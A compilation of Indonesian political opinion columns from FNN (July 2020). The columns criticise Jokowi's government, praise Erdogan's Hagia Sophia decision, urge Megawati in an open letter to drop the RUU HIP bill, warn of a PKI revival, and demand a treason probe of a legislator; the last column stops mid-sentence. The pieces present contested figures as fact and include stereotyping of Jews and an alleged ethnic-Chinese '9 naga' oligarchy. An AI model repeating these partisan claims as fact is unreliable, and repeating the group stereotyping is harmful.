by Tony Rosyid Jakarta FNN – Senin (13/07). Kecewa para pendukung itu hal biasa. Hampir terjadi di setiap rezim. Tidak saja kepada yang jadi, yang gagal jadi saja kadang juga menghadapi kekecewaan dari para pendukungnya. Prabowo adalah contoh paling mutakhir. Pilih koalisi dengan Jokowi, Prabowo dicap sebagai penghianat. Adakah ini akan berpengaruh terhadap pilpres 2024 jika Prabowo mau maju lagi? Banyak spekulasi. Jika maju, apakah Prabowo akan membalik sejarah? Atau hanya menyempurnakan kekalahannya hingga tiga kali berturut-turut? Kita tunggu saja. Lain Prabowo, lain juga Jokowi. Sejumlah pendukung Jokowi juga menyatakan kecewa. Sebagian diungkap di medsos. Kenapa? Pertama, boleh jadi karena gak kebagian jatah. Ini mungkin sedikit jumlahnya. Karena Jokowi dikenal pandai berbagi. Tidak saja untuk generasi tua, generasi milenial pun dapat bagiannya. Kartu pra kerja misalnya, dituding banyak pihak sebagai bagian dari praktek bagi-bagi. Rangkap jabatan komisaris BUMN juga heboh saat ini. Begitulah politik. Menang, ya bagi-bagi. Itu namanya pengertian! Ada ribuan posisi untuk berbagi. Kedua, ini lebih karena alasan substansial. Di era Jokowi, banyak peristiwa yang dianggap membuat rakyat miris. Dimulai dari kematian petugas pemilu yang jumlahnya aduhai. 894 orang. Hingga saat ini, masih dianggap kontroversial. KPU umumkan hasil pemilu tengah malam. Situng KPU pun gak tuntas. Belum lagi peristiwa kematian yang terjadi dalam sejumlah demonstrasi. Di era Jokowi, UU KPK direvisi. KPK pun megap-megap. Dibilang mati, belum juga dikubur. Revisi UU KPK seperti memberi peluang koruptor kakap untuk kabur. Inilah hasil sempurna kolaborasi pemerintah dengan DPR. Mumtaz. UU Corona dan UU Minerba diketok juga. Walaupun protes terjadi dimana-mana. Disusul RUU Omnibus Law dan RUU HIP. Rakyat marah. Buruh, mahasiswa dan umat Islam protes. Turun ke jalan dan lakukan demo. Apakah akan didengar? Didengar iya, dipahami belum tentu. Apalagi diakomodir. Masih jauh. Lihat saja episode yang sedang berjalan. Iuran BPJS naik. Meski MA sudah batalkan Perpres 75/2019, naikin lagi. Terbit Perpres 64/2020. Tarif listrik dan jalan tol juga naik. Entah sudah berapa kali naiknya. Senyap! Sejumlah BUMN bangkrut. Jiwasraya dan Asabri kebobolan belasan triliun. Hutang negara meroket. Ke pertamina saja kabarnya negara masih punya hutang 160 triliun. Hutang swasta sekitar 400-500 triliun. Infonya total hutang negara sudah tembus 7000 triliun. Belum lagi dana haji. Diobok-obok. Pertumbuhan ekonomi minus. Ribuan perusahaan, termasuk kontraktor tutup. Jauh sebelum covid-19. PHK terjadi dimana-mana. BI dan Kementerian keuangan dapat tekanan untuk cetak uang besar-besaran. 600 triliun. Ancaman inflasi dihiraukan. Sementara, sejumlah menteri hanya bisa bermain akrobat. Putar balik lidah dan sibuk carmuk. Tak bisa kerja. Publik melihat kursi kabinet dominan sebagai bagi-bagi posisi untuk para pemodal dan pengusung. Jauh dari kemampuan untuk bekerja secara profesional. Kepada para menteri, Jokowi marah-marah. Jengkel! Mereka dianggap tak bisa kerja sesuai target. Pertanyaannya: siapa yang pilih mereka? Terutama dalam penanganan covid-19. Telat antisipasi, dan kacau datanya. Data sebelum datang covid-19, maupun data setelah diserbu covid-19. Laporan jumlah terinveksi dan yang mati, belum beres hingga hari ini. Simpang siur. Ini semua fakta obyektif yang bisa dilihat dan dibaca. Tentu, oleh otak yang masih waras. Waras artinya jujur. Menyangkal sama artinya gak percaya pada data dan fakta yang transparan di depan mata. Kalau gak percaya data dan fakta, lalu mau percaya pada apa? Inilah kondisi obyektif yang memaksa para pendukung melakukan evaluasi atas pandangannya terhadap Jokowi selama ini. Sebagian masih ada beban untuk mengakui. Sebagian yang lain telah mengakui data dan fakta itu. Mereka kecewa. Lalu, apa pengaruh kekecewaan para pendukung itu secara politik? Tak banyak. Kecuali jika ekonomi ambruk dan kekuatan Jokowi rapuh. Disitu, para pendukung akan balik badan. Tidak saja massa, partai politik, anggota DPR dan aparat pun akan menjadi pihak pertama yang berlomba untuk balik badan. Cabut dukungan. Jokowi harus sadar dan punya kepekaan terhadap perkembangan situasi belakangan ini. Karena semua bisa mendadak berubah dan tak terantisipasi. Bahaya! Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Hagia Sophia Dan Erdogan

by M Rizal Fadillah Aksi Erdogan di dalam negeri sendiri itu merupakan langkah cerdas. Erdogan telah memberi pelajaran penting dan bermartabat kepada dunia luar dan dunia Islam. Di negara-negarta Muslim, sedikit sekali Kepala Negara atau Kepala Pemerintahannya yang memiliki karakter "mampu mengangkat mukanya". Sebagian besar pemimpin malah menjadi komprador penjajah. Jakarta FNN – Senin (13/07). Putusan Pengadilan Turki yang mengembalikan fungsi Hagia Sophia. Sari yang semula Museum menjadi Masjid. Putusan pengadilan Turki ini direspons kebijakan Presiden Recep Tayyip Erdogan, dengan menyerahkan pengelolaan ibadah kepada Kepresidenan Urusan Agama. Meledklah suka cita muslim Turki. Karena telah lama fungsi Masjid diubah menjadi Museum oleh penguasa Kemal Attaturk pada tahun 1934. Muslim Turkie akan melihat, menyaksikan dan dapat kembali melaksanakan ibadah sholat di masjid yang sudah 85 tahun menjadi mesium tersebut. Keputusan Presiden Erdogan berani berhadapan dengan reaksi dunia, yang merasa sedih atas alih fungsi tersebut. Hagia Sophia adalah Masjid yang sebelum Konstantinopel jatuh ke tangan pasukan Muhammad Al-Fatih adalah Gereja yang terkenal. Gereja yang berfusngsi sebagai pusat keagamaan umat Kristen di kerajaan Romawi Timur, Byzantium. Bangunan megah yang berdiri dekat dengan Istana Topkapi dan Blue Mosque ini digunakan menjadi Masjid kembali dengan alasan bahwa hak negara Turki sendiri untuk menentukan apapun yang menjadi urusan dalam negerinya. Suatu sikap nasionalisme yang patut diacungkan jempol. Turkie berkelas sebagai negara mandiri yang berwibawa. Sebenarnya Erdogan yang disebut penentangnya melakukan "provokasi peradaban" itu sebenarnya sedang melempar kritik keras atas Masjid di Cordoba Spanyol yang diubah menjadi Catedral dan juga Masjid Al Aqsha yang dikuasai Israel di Jerusalem. Erdogan sedang melakukan "perang peradaban" yang sudah diperhitungkan efek politik dan keagamaannya. Dunia terkejut akan sikap "Muhammad Al Fatih" abad ini. Ketidakadilan dunia harus berkaca diri. Umat Islam di berbagai belahan dunia sedang mengalami tekanan berat menghadapi hegemoni Barat, China, dan Yahudi. Penindasan dan penjajahan dilakukan dalam berbagai bentuk. Muslim minoritas tertindas, Muslim mayoritas pun dipermainkan dalam ketidakberdayaan ekonomi dan politik. Aksi Erdogan di dalam negeri sendiri itu merupakan langkah cerdas. Memberi pelajaran pada dunia luar dan dunia Islam. Di Negara Muslim sedikit sekali Kepala Negara atau Kepala Pemerintahannya yang memiliki karakter "mampu mengangkat muka". Sebagian besar pemimpin menjadi komprador penjajah. Komprador adalah anak bangsa yang rela dan tega menjual kepentingan bangsa dan rakyatnya demi kepentingan pribadi dan keluarganya. Kepala Negara yang menjadi kacung dari bangsa lain. Menjual tanah airnya dengan harga murah. Ia telah berkhianat pada negara dan rakyatnya. Komprador biasa berjual beli dengan bahasa investasi atau hutang luar negeri. Sedangkan Erdogan berdiri tegak menghadapi kecaman lemah yang dibingkai dengan kata "peradaban", "heritage" atau "perdamaian". Ia buktikan bahwa lawan nyatanya tak mampu berbuat apa apa. Hanya pemimpin lemah yang mudah digertak. Pemimpin kuat berbuat untuk agama, bangsa, dan negara. Berbuat dengan penuh keyakinan dan keberanian. Itu ciri pemimpin hebat, berkelas dan bermartabat. Penulis adalah Pemerhati Politik dan Kebangsaan

Indonesia Terbentuk Dari 73 Kesultanan Islam

by Chusnul Mar'iyah, Ph.D Assalamu’alaykum wr.wb. Ibu Megawati yang terhormat. Semoga Ibu Megawati sehat walafiyat, dijauhkan dari musibah Pandemi Covid-19 ini. Saya menulis surat ini (sepertinya agak panjang) kepada Ibu Megawati dalam rangka meminta Ibu dapat memerintahkan ke petugas partai di eksekutif dan di DPR agar membatalkan RUU HIP. Karena ini bukti Pancasila diganti menjadi Eka Sila. Ibu Mega, adanya putusan MA Nomor 44 P/HUM/2019 tertanggal 28 Oktober 2019 itu legitimasi dan justifikasi dari kekuasaan pemerintah saat ini telah ambruk. Jakarta FNN – Senin (13/07). Seluruh komponen Ummat Islam dan kelompok beragama lainnya bersatu menolak RUU HIP. Himbauan dan sikap tersebut datang dari mantan Komisioner Komisi Permilihan Umum (KPU) periode 2001-2007 Chusnul Mar’iyah Ph.D. kepada Megawati sebagai Ketua Umum Partai Demokrasi Indonesia Perjuangan (PDIP) ini disampaikan dalam bentuk surat terbuka yang ditulis di Depokl tangga 12 Juli 2020. Berikut ini penjelasan, kenapa saya menulis surat ini kepada Ibu Mega. Pertama, sebagai sesama perempuan. Seorang scholar dari negeri Maghribi (Marokko) Fatima Mernisi pernah menulis, bahwa menulis surat ke penguasa lebih baik dibandingkan pergi ke salon untuk melakukan face lift. Saya ingin menyampaikan beberapa pandangan saya dalam perspektif perempuan tentang kekuasaan yang bersifat power to do. Bukan power over yang lebih maskulin. Perempuan berkuasa itu lebih bicara tentang caring, dan mengayomi. Juga melakukan sesuatu untuk anak bangsa sesuai dengan cita-cita para pendiri bangsa yang termaktub dalam pembukaan UUD 1945. Yaitu melindungi segenap tumpah darah Indonesia, mencerdaskan kehidupan bangsa, mensejahterakan rakyat dan ikut dalam ketertiban dunia untuk perdamaian dan keadilan. Kedua, karena Ibu adalah Ketua Umum Partai Politik yang menjadi pendukung utama dari pengusung Capres pada pilpres 2014 dan 2019 ini. Mau tidak mau tanggung jawab ada di pundak Ibu Mega terhadap merah-putihnya kiblat bangsa ini. Ketiga, karena saya pernah dalam suatu masa berkoordinasi dengan Presiden dan Pimpinan DPR saat Pemilu 2004. Suksesi pemerintah secara langsung pertama dalam sejarah politik di Indonesia, yang Alhamdulillah tidak ada setetes darah pun yang tercecer. Ibu masih ingat bagaimana kami meminta agar Ibu sebagai Presiden untuk membuat perpu tentang jadwal waktu logistik sampai di TPS? Undang-undang memerintahkan sepeuluh hari sebelum hari H. Namun kami meminta agar tiga hari sebelum hari H. Karena kami KPU memikirkan masalah keamanan Surat Suara bila sepuluh hari semua logistik sudah di TPS? Setelah pemilu selesai, sehari sebelum Ibu Mega ke luar istana, kami melaporkan pelaksanaan pemilu. Ibu Mega menyampaikan kepada ketua KPU, apakah masih ada yang dibutuhkan oleh kami KPU tanda tangan Presiden? Ibu Mega mengatakan “bahwa Ibu masih memiliki 24 jam untuk memberikan tanda tangan Ibu sebagai Presiden”. Saat itu, karena kami, Insyaa Allah sudah bekerja dengan benar, adil, sesuai dengan amanah yang diberikan kepada kami, kami tidak meminta apapun tanda tangan Presiden. Kami berterima kasih bahwa Presiden tidak intervensi kerja KPU pada pemilu 2004. Walaupun kami mengalami beberapa insiden untuk mencoba intervensi. Kami bekerja mendapatkan kiriman sebelas peluru. Selain itu, kantor kami juga di bom (tidak terlalu besar). Namun KPU dapat mengatasinya untuk tetap bersikap mandiri. Ibu Megawati yang terhormat. Apakah Ibu masih ingat diskusi dua jam lebih sambil makan siang di rumah keluarga Ibu bersama salah satu tokoh partai Ibu, dan saya berdua dengan adik saya? Makan siang kepiting saos lada hitam dan udang? Saat itu saya sedang berkunjung ke tokoh-tokoh nasional untuk memberikan klarifikasi karena KPU sedang mendapatkan musibah tsunami politik setelah berhasil melaksanakan pemilu yang diakui oleh dunia internasional. Biaya tiga kali pemilu (pileg, pilpres dua putaran) saat itu hanya Rp. 7,2 (tujuh koma dua) triliun? Kotak suara dan bilik suara dari aluminium sudah dipergunakan 13 kali pemilu. Pertama kali Indonesia memiliki database penduduk dengan dua belas variabel termasuk penyandang cacat? Pertama kali pula KPU memiliki data IT per TPS yang diinput dari kecamatan oleh para aktivis mahasiswa dari perguruan tinggi se-Indonesia, dari Unsyiah di Aceh sampai Uncen di Papua. Pada pemilu 2009, 2014, 2019 data diinput dari kabupaten/kota bukan? Pertama kali, pada Januari 2003, KPU bersifat tetap sampai tingkat kabupaten/kota sesuai dengan pasal 22 E ayat 5 UUD 1945, yang bersifat nasional, tetap dan mandiri. KPU telah meletakkan fondasi dari sebagai lembaga perluasan dari trias politika. KPU meletakkan politik administrasi penyelenggara pemilu, membuat dapil, alokasi kursi, verifikasi parpol, debat kampanye capres. Termasuk juga membuat Surat Suara yang besar itu sampai saat ini. Desain Surat Suara yang besar sepertinya masih dipergunakan. Desain itu dibuat oleh seorang relawan alumni desain grafis dari ITB. Pelaksanaan Pilpres 2004 itu, Ibu Mega menjabat Presiden. Dalam perjalanan demokrasi, partai Ibu dapat memenangkan pemilu dan capres. Saya tidak bicara dalam surat kali ini tentang, apakah kemenangan tersebut didapatkan dengan cara halal? Karena pertanyaan seperti itu sudah saya sampaikan berkali-kali ke partai-partai lainnya juga. Bahkan juga dalam surat terbuka saya kepada Presiden pada tahun 2017 yang lalu. Karena sepertinya peserta pemilu sebagian besar terlihat menggunakan money politic dan dapat disebut sebagai the liberal machiavelian election. Saya ingin menyampaikan bahwa kondisi bangsa Indonesia saat ini sangat memprihatinkan. Banyak persoalan, kasus stunting, kemiskinan. Wajah kemiskinan tersebut adalah wajah perempuan (feminization of poverty). Penanganan Covid-19 yang tidak memiliki sense of crisis dari para pemimpinnya di tingkat nasional, dengan Perpu Nomor 1/2020 menjadi UU Corona Nomor 2/2020. Selain itu, ada yang seperti Omnibus Law (sebagai UU yang bisa menjadi payung hukum untuk tindak Korupsi). Issue TKA China yang datang secara ugal-ugalan. Hutang negara yang semakin menumpuk. Masalah pendidikan, sosial, kesehatan, eksploitasi SDA untuk kepentingan kelompok tertentu. Juga tingkah laku politik dari pejabat, seringkali menyakiti warganya sendiri. Yang paling menyentak terakhir ini adalah lolosnya RUU HIP, yang masuk dalam daftar prolegnas . Terlihat skenarionya seperti menjadi usulan semua partai politik di DPR. Ibu, kami sangat tahu bahwa ada kepentingan lembaga BPIP, Presiden dan Partai Ibu terhadap diundangkannya RUU HIP itu. Kenapa saya sangat prihatin dengan hal itu? Konstruksi negara RI adalah negara muslim terbesar di dunia. Negara yang berasal dari 73-an Kesultanan-kesultanan Islam. Wilayah kekuasaan para Kesultanan tersebut terbentang dari Aceh sampai Tidore. Bahkan wilayah kekuasaan Kesultanan Tidore sampai ke Papua Barat. Namun, sejak partai Ibu mendapatkan kekuasaan, para tokoh Ulama, tokoh-tokoh yang kritis, dipersekusi, dikriminalisasi, dipenjarakan, karena berbeda pandangan dengan penguasa. Belum lagi jargon-jorgan politik yang dipopulerkan bagi pendukung partai Ibu seperti klaim “saya Pancasila, “saya Bhineka, dan saya NKRI”. Bagaimana mengatakan Bhinneka kalau tidak bisa menerima keberagaman? Bahkan terhadap mayoritas anak bangsa yang muslim di Indonesia ini? Dengan jargon politik seperti itu, secara sengaja “menuduh” kami-kami yang warga muslim (Islamophobia, terutama dengan gerakan 411 dan 212) ini dianggap ingin mengganti Pancasila. Bangsa menjadi terbelah. Regime yang berkuasa menggunakan buzzer untuk membully rakyat yang memiliki pandangan berbeda dengan pemerintah. Mereka dibayar menggunakan uang rakyat? Ibu Mega, para buzzer tersebut diundang dan diberi karpet merah di istana. Kira-kira bagaimana perasaan Ibu? Ibu Megawati yang terhormat. Warga muslim yang taat itu pasti Pancasilais. Kenapa? Karena ajaran Islam itu menjadi roh sila-sila dalam Pancasila itu. Jangan dipertentangkan. Nanti Allah tidak memberikan Rahmat dan BarokahNya. Negara ini direbut dari penjajah dengan teriakan takbir “Allahu Akbar, Allahu Akbar, Allahu Akbar”! Pancasila yang diperingati hari lahirnya tanggal 1 Juni 1945 itu tanggal pidato Soekarno di rapat BPUPK. Namun, Ibu Mega, pada tanggal 29 Mei 1945 ada Pidato M. Yamin. Juga pada tanggal 31 Mei 1945 ada Pidato Soepomo. Anggota Rapat BPUPK itu ada 62 orang. Ada dua anggota BPUPK yang perempuan, yaitu Maria Ullfah yang lulusan Hukum dari Leiden University, dan pengajar di Persyarikatan Muhammadiyah. Satu lagi adalah Siti Sukaptinah, dari Taman Siswa yang juga aktif dalam Joung Islamienten Bond Dames Afdelling. Tokoh-tokoh Islam yang ada di BPUPK diantaranya adalah Ki Bagoes Hadikusumo (Ketua PP Muhammdiyah). Sedangkan tokoh-tokoh besar dari NU adalah KH. Hasyim Asyari, dan anaknya KH. Abdul Wahid Hasyim, ada juga Bung Hatta, KH. Agus Salim, Abdul Kahar Muzakkir. Tentu saja ayah Ibu Mega, Soekarno berada di dalamnya. Pada tanggal 22 Juni 1945 ada tim Sembilan yang menghasilkan “Jakarta Charter” merumuskan dasar negara Pancasila. Ditetapkan pada tanggal 18 Agustus 1945 sebagai dasar negara dalam pembukaan UUD 1945. Ibu Mega, setelah jatuh bangunnya Kabinet Empat Kaki pada masa demokrasi parlementer itu, dan rapat konstituante belum sepakat tentang dasar negara, dikeluarkanlah dekrit Presiden pada tanggal 5 Juli 1959. Dalam dekrit itu Piagam Jakarta dimasukkan sebagai konsideran dalam Dekrit 5 Juli 1959 itu. Sejak itu Soekarno merangkap jabatan Presiden dan Perdana Menteri. Ibu Mega yang terhormat. Tokoh-tokoh muslim itu dulu ada yang menangis saat harus mencoret tujuh kata di Sila Pertama Ketuhanan “dengan kewajiban menjalankan syari’at Islam bagi pemeluknya”. Ki Bagoes Hadikusumo yang mengusulkan untuk menggantinya dengan Ketuhanan Yang Maha Esa. Ruh dari Pancasila itu tidak dapat dipisahkan dari pemikiran-pemikiran politik Islam. Dalam Pancasila, selain sila pertama, ada kata adab, musyawarah, wakil, rakyat, adil, dan hikmah. Itu adalah konsep-konsep dalam Islam. Jadi negara ini adalah tempat warga negaranya harus punya Tuhan Yang Esa. Manusianya harus beradab. Bangsanya harus bersatu. Rakyatnya harus berdaulat. Para pemimpinnya harus berhikmah, bijaksana dan adil. Masyarakatnya harus makmur. Bangsa ini sedang di ambang krisis dari berbagai lini kehidupan. Apakah Ibu tahu bagaimana kondisi penduduk asli bangsa ini? Kondisi anak-anak dari Papua sampai Aceh? Kondisi ibu-ibu rumah tangga, penjual sayur, penjual makanan, buruh yang pabriknya ditutup? Ekonomi kita bangkrut? Ibu Mega. Apakah Ibu tahu bahwa satu persen penduduk Indonesia menguasai 49 persen kekayaan? Juga sekitar 72 persen tanah di negara ini dikuasai oleh 1 persen penduduk? Siapa yang mengusai jaringan TV yang setiap saat menjajakan nilai-nilai ke ruang-ruang tamu keluarga Indonesia? Ada pula oligarkhi ekonomi yang sering dihubungkan pada kelompok 9 naga? Siapa mereka? Apakah Ibu melihat? Mal-mal besar di kota-kota besar, di Ibukota Provinsi itu yang menguasai siapa? Apakah ibu tahu apartemen-apartemen yang bak jamur itu siapa pemiliknya? Apakah Ibu tahu siapa yang mendapatkan hak untuk reklamasi di teluk Jakarta itu? Siapa mereka ibu? Apakah ibu tahu pembangunan yang dibangga-banggakan hasil proyek petugas partai ibu itu menjadikan bangsa ini hutangnya menumpuk? Sementara tenaga kerjanya juga diimpor dari asing? Bahkan Ibu Mega, Office Boy (OB), tukang batu pun harus diimpor? Apakah ibu tahu bawang putih sekarang hampir 100 persen diimpor? Apakah Ibu tahu beras, garam, bawang merah, cabe pun harus impor? Apakah Ibu tahu rekrutmen jabatan-jabatan itu ada pengaturnya? Terlalu banyak pencitraan dengan anak-anak milenial, yang diajak pula secara resmi berada di istana? Apakah pemikiran mereka seperti kelompok pemuda ashabul kahfi dalam Qur’an? Dengan latar belakang seperti di atas, diam-diam di saat pandemi Covid-19, tanpa diskusi akademik yang luas dan mendalam, diumumkan RUU HIP. Inti dari RUU tersebut tidak akan membuat baik bangsa Indonesia ke depan. TAP MPRS no 25 tahun 1966 tidak menjadi konsideran. Yang paling menyakiti iman ummat Islam dan ummat beragama lainnya adalah konsep Ketuhanan yang disubordinasi dengan kebudayaan. Dengan demikian, itu berarti meruntuhkan fondasi dari bangunan negara Indonesia sebagai bangsa baru yang bersifat nasionalis religius. Mudah-mudahan kita masih tetap dalam Iman dan Islam. Tidak akan berani membuat aturan yang melawan aturan Tuhan. Dalam rukun Iman, kita itu harus percaya pada hari akhir? Kalau ibu membaca Kitab Suci kita Al Qur’an, maka akan banyak dikisahkan tentang hari akherat yang abadi. Semua apa yang kita lakukan selama di dunia ini harus kita pertanggung jawabkan. Semoga Ibu dapat berdialog dengan banyak ulama’ yang kritis kepada penguasa agar mendapatkan masukan yang benar. Sekali-kali sowanlah Ibu ke para Ulama’ yang baik. Bertanyalah kepada beliau-beliau itu. Yang memiliki Ilmu yang tinggi dan luas, karena bersandar kepada Al Qur’an dan Hadist. Ulama-ulama inilah yang mengingatkan kita agar kita kembali ke jalan yang benar. Ibu Mega. Pendeknya, mohon segera ibu perintahkan untuk tidak melanjutkan pembahasan RUU HIP ini. Tidak perlu pula mengganti dengan nama-nama lain seperti RUU PIP atau lainnya. Sebaiknya BPIP itu dibubarkan saja. Sudah terlalu banyak lembaga-lembaga negara yang fungsinya tumpang-tindih. Ibu Mega. Semoga ibu tetap sehat, dan dapat memerintahkan petugas partai untuk tunduk pada konstitusi. Agar anak-anak kami para mahasiswa, tidak harus turun ke jalan berdemonstrasi untuk menyampaikan aspirasi rakyat. Tidak harus mengambil resiko fatal di tengah pandemic covid-19 yang harus melakukan social/physical distancing. Ibu Mega. Semua kita akan pulang dipanggil oleh Sang Maha Raja seluruh alam semesta. Kita harus membawa amal-amal ibadah kita untuk bertemu Sang Maha Berkuasa. Alhamdulillah kita masih diberi umur, mari kita bersujud memohon ampun kepadaNya. Agar Allah memberikan barokahNya untuk bangsa dan negara ini. Mari kita berdo’a semoga negeri kita menjadi baldatun thayyibatun warobbun ghofuur. Negeri yang baik, dan Allah memberikan ampunan-Nya. Dengan umur yang masih ada ini, mari kita selamatkan bangsa dan negara Indonesia, dari kehancuran di semua lini kehidupan dengan berpegang erat pada tali Taqwa kepada Allah Azza wa Jalla. Alfaatihah. Aamiin. Penulis adalah Dosen Ilmu Politik Universitas Indonesia dan Mantan Komisioner KPU 2001-2007

Rakyat Dibayangi Pertanyaan: Mungkinkah Komunisme-PKI Bangkit Kembali?

by Asyari Usman Jakarta FNN - Ahad (10/07). Kalau pernyataan Menko Polhukam Mahfud MD (31/5/2020) dijadikan pegangan, tampaknya tidak mungkin PKI bisa hidup lagi. Sebab, kata Pak Mahfud, Tap MPRS No. XXV/MPRS/1966 tentang larangan penyebaran ajaran komunisme-marxisme-leninisme tidak bisa dicabut oleh pihak mana pun. Dan, kata Mahfud lagi, tidak ada juga pihak yang ingin mencabut itu. Kalaulah Anda semua yakin ucapan Mahfud itu bisa dijadikan landasan, tentu tidak ada yang perlu khawatir. Kecuali Anda tidak percaya kepada beliau. Lain lagi masalahnya. Terlepas dari jaminan Menko Polhukam, kita semua melihat begitu banyak gejala yang menunjukkan bahwa komunisme-PKI sedang berusaha untuk bangkit. Kita uraikan gejala-gejala yang membuat publik, khususnya umat Islam, menjadi curiga PKI tidak akan tinggal diam. Misalnya, ada upaya yang rapi untuk membalikkan fakta. Setelah Reformasi 1998, orang-orang atau kelompok tertentu berusaha menyebarkan opini bahwa PKI tidak melakukan kesalahan dalam peristiwa pembunuhan para jenderal pada 30 September 1965 malam (dinihari 1 Oktober 1965). Kemudian, ada pula desakan dari orang-orang yang mengatasnamakan keluarga PKI agar pemerintah Indonesia meminta maaf secara resmi atas rangkaian peristiwa yang memakan korban orang-orang PKI. Bahkan ada yang meminta supaya kuburan massal PKI 1965 diusut tuntas. Seterusnya, bermunculan seminar atau diskusi yang arahnya membela hak-hak asasi manusia (HAM) warga atau keturunan PKI. Upaya ‘ilmiah’ ini diiringi pemameran simbol-simbol atau lambang PKI di banyak pelosok negeri. Ada banyak yang memakai kaos palu-arit di depan publik, ada pula yang membuat graffiti (corat-coret) di tembok yang memajangkan slogan atau lambang komunisme dan PKI. Belum ini ada kasus bendera merah-putih yang diberi lambang palu-arit. Bendera ini ditemukan pada 11 April 2020 di kampus Universitas Hasanuddin, Makassar. Jadi, bagaikan ada upaya sistematis untuk membukakan peluang bagi komunisme-PKI berkembang lagi. Untuk bangkit kembali. Banyak orang yang menginginkan kebangkitan komunisme-PKI. Dan tidak sedikit yang memberikan simpati. Dengan berbagai cara. Ada yang memperjuangkan pencabutan Tap MPRS 1966 tentang larangan komunisme-marxisme-leninisme. Dan ada pula yang mengatakan sesuatu yang didambakan oleh para pendukung PKI. Yaitu, orang yang mengatakan penampakan kaus palu-arit hanyalah ‘trend’ anak muda saja. Bukan hal yang serius. Yang sangat mengkhawatirkan adalah perlindungan yang pantas diduga diberikan oleh kekuatan politik. Misalnya, blok politik besar yang sengaja menampung orang-orang yang menghendaki komunisme atau mereka yang terkait dengan PKI. Blok politik itu menampung orang-orang yang berindikasi memperjuangkan implementasi paham komunis di negeri ini. Kekuatan politik yang memiliki hubungan historis dengan PKI dan komunisme tsb, tidak berlebihan kalau disebut sengaja memberikan ‘ruang hidup’ kepada sisa-sisa komunisme-PKI. Ini dapat dilihat dari upaya memuluskan pengesahan RUU Haluan Ideologi Pancasila (HIP) di DPR. RUU yang ditolak oleh PKS bersama Partai Demokrat dan dipersoalkan oleh PAN dan PPP itu, tidak mencantumkan Tap MPRS XXV/MPRS/1966 seperti disinggung di awal tadi. Banyak yang melihat ini sebagai upaya untuk menghalalkan komunisme dan PKI. Meskipun Menko Polhukam dan para petinggi DPR yang menangani RUU HIP sibuk meyakinkan publik bahwa UU HIP akan memperkuat ideologi Pancasila. Belakangan ini, sponsor RUU HIP mengubah taktik. Mereka mengganti judul RUU bermasalah ini menjadi RUU PIP (Penguatan Ideologi Pancasila). Umat Islam tetap tidak akan percaya pada pengubahan judul itu. Sebab, kalau tidak ada maksud-maksud terselubung, mengapa masih harus mencarikan jalan keluar (way out) untuk sesuatu yang ditolak dan dicela keras oleh semua pihak? Tampaknya, tahun-tahun mendatang ini akan menjadi masa yang penuh tantangan berat bagi rakyat, khususnya umat Islam yang sangat keras melawan komunisme-PKI. Umat Islam tidak boleh lengah. Sebab, sangat pantas diyakini bahwa memang ada kekuatan yang sedang bekerja untuk menghidupkan kembali paham komunis. Dengan segala gejala pro-komunis dan pro-PKI yang ada sekarang ini, setiap saat rakyat dibayangi oleh pertanyaan: mungkinkah komunisme-PKI bangkit kembali? Penulis adalah Penulis Wartawan Senior

Penyelidikan Bisa Dimulai Dari Rieke Pitaloka

by M. Rizal Fadillah Jakarta FNN – Ahad (12/07). Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) menghebohkan. Bukan dalam arti konstruktif, tetapi menimbulkan reaksi masif. Protes terjadi dimana-mana yang intinya mendesak agar DPR atau Pemerintah menghentikan, membatalkan, atau mencabut RUU tersebut. Hanya itu tuntutan masyarakat, khususnya umat Islam. RUU kontroversial yang dinilai dapat menjadi pintu bangkitnya kembali faham neo PKI dan faham komunisme. RUU ini ini oleh sebagian masyarakat disinyalir sebagai "makar ideologis terhadap dasar Negara Pancasila". Kritik dan desakan, disamping pada tuntutan pembatalan RUU HIP, juga meminta pengusutan terhadap siapa inisiator atau konseptor dari RUU "makar ideologis" tersebut. Majelis Ulam Indonesia (MUI) dalam Maklumat yang dikeluarkannya, juga menekankan pada desakan pengusutan ini. Ketika sudah diakui bahwa usulan ini berasal dari fraksi PDIP, maka yang perlu kejelasan dan tindak lanjut. Apakah usulan itu bersifat perorangan atau fraksional. Lalu dimana Rieke Pitaloka berada selain sebagai Ketua Panja dan Wakil Ketua Badan Legislasi (Baleg) DPR? Fraksi PDIP mengantisipasi melebarnya "skandal" RUU HIP ini dengan mencopot Rieke Dyah Pitaloka. Rieke dicopot dari kedudukan sebagai Wakil Ketua Baleg. Rieke sekarang digantikan oleh Komjen Muhammad Nurdin. Penggantian mana menjadi tanda "sanksi" ringan atas Rieke. Hanya saja masalahnya adalah apakah sanksi kepada Rieke itu berkaitan dengan kesalahan pribadinya? Atau Rike sebagai bagian dari inisiator RUU HIP? Atau karena Rieke memang tak mampu untuk menjalankan "misi" Fraksi atau Partai dalam menggoalkan RUU HIP? Pengusutan mulailah dari Rieke. Baik itu untuk pengusutan politik maupun hukum. Dari mulai Rieke, berulah dapat bergeser kesana-sini dalam arti keterlibatan beberapa pihak. Rieke juga sudah dilaporkan ke kepolisian. Tinggal gerak penyelidikan yang ditunggu dari polisi. Pada pasal 107 KUHP dapat menjadi acuan. Pelanggaran terhadap pasal ini, ancaman hukumannya antara 12 hingga 20 tahun. Dipastikan tidak berlaku hak imunitas anggota dewan untuk perbuatan dugaan makar terhadap ideologi dan dasar negara Pancasila. PDIP suah tidak bisa lagi lepas dari sorotan masyarakat. Perlu langkah konkrit untuk meluruskan rel perjuangannya, yaitu : Pertama, melakukan "pembersihan" kader yang disinyalir "leftist" kiri. Faksi ini bisa merusak citra ciri "nasionalis" di PDIP. Masyarakat khawatir pada gaya politik PKI yang mahir dalam penyusupan. Pulihkan segera citra PDIP sebagai Partai "tengah". Bukan Partai "kiri" dan "sarang kader-kader komunis". Bila tidak, bisa saja masyarakat memberi predikat sebagai "PKI Perjuangan". Kedua, evaluasi narasi dari Mukadimah dan Batang Tubuh AD/ART PDIP yang bernuansa Orde Lama. Tidak boleh ada interpretasi bahwa platform perjuangan PDIP itu adalah "tak suka dengan Pancasila 18 Agustus 1945”. Sebab itu sangat berhabaya untuk penjalanan bangsa ke depan. PDIP terkesan secara bertahap sedang menanamkan ideologi Pancasila 1 Juni 1945, yaitu Trisila, dan Ekasila. Jika ini tetap dipertahankan, maka wajar jika ada anggapan publik bahwa PDIP memang bervisi misi untuk menggoyahkan ideologi Pancasila. Selama belum dirubah, kemungkinan bisa selamanya PDIP akan berhadap-hadapan dengan umat Islam. Dalan kaitan skandal RUU HIP, maka transparansi dan konsistesi pada pembelaan Pancasila mesti dibuktikan. Bukan 